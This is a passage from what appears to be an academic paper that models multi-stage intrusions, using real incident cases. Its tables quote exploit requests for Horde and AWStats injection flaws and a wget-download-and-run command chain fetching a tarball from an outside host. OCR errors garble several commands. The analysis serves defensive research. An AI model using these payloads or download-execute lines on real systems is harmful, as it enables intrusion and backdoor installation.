machine. The attacker directs the node to download relevant tools and code by ftp/wget. The
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methods through which the tools are download?d depend on which vulnerability exploit has taken 

place for the attack. Figure 9 shows that some download commands are through exploit requests, 

while others are through a valid request (the request is intercepted by the running daemon).

Machine use phase. After the desired tools are successfully deployed in the environment, the 

attacker starts programs to execute code and perform specific tasks in following steps (“cmd- 

utilize” and “exploit-utilize”), or sets up a backdoor for more direct manipulation of the node 

(“backdoor-utilize”). IRC channels, SSH sessions, and VNC sessions are candidates for backdoor 

connections. With backdoor connections the attacker freely controls the machine as normal use.

Table 5: Examples of scan-based attacks
(a) A PHP Horde attack

Vulnerability Insufficient parameter input validation. Eval() injection vulnerability in Horde Application Framework 
versions 3.0 before 3.0.10 and 3.1 before 3.1.1: the “module” parameter is not checked for syntax 
when the Horde help viewer is invoked. (CVE-2006-1491)

Scanning
method

Checks if the README file of Horde exists at known paths (e.g. Horde/README) by requesting the 
file through HTTP protocol, e.g. GETZhorde/ZREADME

Exploit Supplies the “module” parameter with crafted input when requesting the help viewer, e.g. GET 
ZZhorde//servicesZhelpZ?show=about&module~; ",passthru("".chr(47). "sbin".chr(47). "ifconfig \grep 
inet");'.

Post
exploitation
actions

Downloads and executes exploit code (the “module” parameter version of the commands is not listed 
for simplicity): cd Ztmp ;wget gabryel.lydo.org/asd.tgz ;tar zxfv asd.tgz ;cd .asd ;cp linux 
Zvar/tmp/sshd ;/var/tmp/sshd ;/var/tmp/sshd

(b) A WINS service attack
Vulnerability Buffer overflow. The WINS (Windows Internet Naming Service) in WinNT Server 4.0 SP 6a, NT 

Terminal Server 4.0 SP 6, Win2K Server SP3/SP4, and WinServer 2003 does not properly validate the 
computer name in a WINS packet, which allows remote attackers to execute arbitrary code or cause a 
denial of service (server crash) through a buffer overflow. (CVE-2004-0567)

Scanning
method

Checks if the WINS service exists on a computer by connecting to TCP/UDP port 42.

Exploit The payload field computer name in the WINS packet is crafted with binary instructions
Post
exploitation
actions

Downloads win.png through ftp; connects to an external machine at port 50000; sets up IRC (Internet 
Relay Chat) channel for a backdoor entry; downloads nfs-cd.zip through ftp; executes aim.exe; 
downloads lusetup.exe and wincip81SRleval.exe (for unzipping other files) through ftp

(c) An Awstats attack
Vulnerability Insufficient parameter input validation. AWStats 6.1, and other versions before 6.3, allows remote 

attackers to execute arbitrary script code via shell meta characters (e.g. the pipe character ‘1’) in the 
configdir parameter. (CVE-2005-0116)

Scanning
method

Checks if the Awstats tool exists on a computer by sending a request, e.g. GETZ/awstats/awstats.pl

Exploit Supplies the “configdir” parameter with crafted input when invoking the awstats script, e.g. GET 
//awstats/awstats.pi?configdir= \echo ; %00

Post
exploitation
actions

Downloads an attacker script; sets up ssh sessions; downloads more files; sets up IRC (Internet Relay 
Chat) channel; removes the attack script (e.g. GET Z/awstats/awstats.pl?configdir=\echo ;echo 
b_exp;cdZtmp.rm -r f  l.tgz miro;echo e_exp;%00 where the 1 .tgz file is the attack scri£t)__

6.1.1 Describing attack examples using the attack model

In this section we give real examples of scan-based attacks from the NCSA data and to show how 

these attacks fit into the attack model introduced in Figure 9. Table 5 provides the detail data on
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three attacks and the corresponding models (extracted as paths from the overall comprehensive 

model in Figure 9) are illustrated in Figure 10.

(a) A PHP Horde Attack (b) A WINS Service Attack (c) An Awstats Attack 

Figure 10: models for the attack examples in Table 5

We use the Awstats attack (Table 5(c) and Figure 10 (c)) as the example to describe how the attack 

fits in the overall attack model. The victim machine transitions from normal to being scanned when 

the attacker tries to locate the awstats.pl file at “//cgi-bin ” and the victim machine responds as not
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found. After trying several paths for the file, the scan succeeds as the request of 

“//awstats/awstats.pl” is responded as ok (it matches “scanning method” in Table 5(c)), and the 

victim machine is now a candidate for further attack. The attacker sends simple commands (“echo; 

uname”) through the configdir parameter in a request (see “exploit” in Table 5(c)), in order to test 

vulnerability exploitation and check environment. The request exploits a vulnerability due to 

insufficient parameter input validation, and the machine transitions to arbitrary web script/html 

state, shell command execution state, and environment check state in this specified order. The post

exploit actions listed in Table 5(c) are conducted in two phases: environment setup and machine use 

(as shown in Figure 10 (c)). In the environment setup phase, the downloading of two files (l.tgz and 

psyBNC2.3.1.tar.gz) through an HTTP request transitions the machine into tool download state; 

following file operations install the attack script (l.tgz) and psyBNC (a backdoor program) when 

the machine is in deployment state. In machine use phase, the attacker issues a command (“rm -rf 

l.tgz”) when the machine enters exploit-utilize state. After the attacker sets up several SSH sessions, 

psyBNC sessions and an IRC channel, the machine transitions to backdoor-utilize state.

Figure 11: Attack model for a no-scan-based attack 

6.2 Non-scan based attacks

For non-scan based attacks, there is no a scan stage for the machine to become a victim candidate. 

When a machine receives a spam email or browses a page that contains a link to a malicious 

webpage, the machine becomes a victim candidate. The other phases for non-scan based attacks, 

including attack preparation, exploit, environment setup, and machine use, are similar to scan-based 

attacks.
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Apart from the different impacts resulting from different classes of vulnerabilities, a candidate can 

directly change into the state of malicious code execution or malicious script/html execution, 

because a Trojan software or a malicious webpage may be launched directly by the user without 

exploiting any vulnerability. However, all kinds of vulnerabilities can also be exploited if the user 

visited a page with a script sending requests for such exploits.

Table 6: Examples of non-scan attacks
(a) A Remote xserver logging attack

Vulnerability Design/config error. Keystroke input of a user to the same remote Xserver can be logged by 
another user.

Scanning method No need for scanning. The attacker entered the system as a valid user
Exploit The attacker downloaded keystroke sniffer and installed it on the machine. When the root logged 

in the root password was sent to the attacker by email.
Post-exploitation
actions

Logs in the machine as root.

(b) A phishing attack
Vulnerability Design/config error. Browser cookie for a website is sent with all requests as long as the 

destination is the website.
Scanning method No need for scanning. The victim user clicks the bad link.
Exploit Valid cookie is sent with malicious requests to the target website, which considers the requests are 

from the authenticated user.
Post-exploitation
actions

Disables notification setting; associates a checking account; transfers money from the user 
account into the new checking account; deletes the checking account; restores notification setting.

6.2.1 Describing attack examples using the attack model

Real examples of non-scan based attacks are given here to show how these attacks fit into the attack 

model introduced in Figure 11. Table 6 provides two attacks and the corresponding models 

(extracted as paths from the overall comprehensive model in Figure 11) are illustrated in Figure 12.

We use the remote xserver logging attack as the example for description in this section. The target 

machine B is first in the normal state. The attacker is a valid user of another machine A (e.g. a 

gateway node of an intra-network) and downloads/installs an xserver keystroke logger on machine 

A, which makes machine B a victim candidate (the root of machine B potentially logs in machine B 

through machine A). The design error of the xserver on machine A allows a user to log keystroke 

from another root user logging into into machine B via an X channel (GUI on Unix/Linux) through 

machine A. Then the installed software sends the root password to the attacker via email, and 

machine B transitions to privilege violation state. The attacker now logs in machine B as root and 

machine B is in unauthorized operation state.
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7. Conclusion

This paper proposes a methodology to analyze attacks based on the observations that (i) a class of 

vulnerabilities usually lead to one or several categories of exploitation impacts, and (ii) a category 

of vulnerability exploitation scenarios are usually associated with characteristic attack flow patterns. 

The correlation/mapping between vulnerabilities and exploitation impacts can be obtained by 

analyzing vulnerability database; the attack flow patterns can be achieved by studying real attack 

cases. Then the two can be combined to create comprehensive attack models. Future research could 

address the use of such models to build defenses against new attacks.
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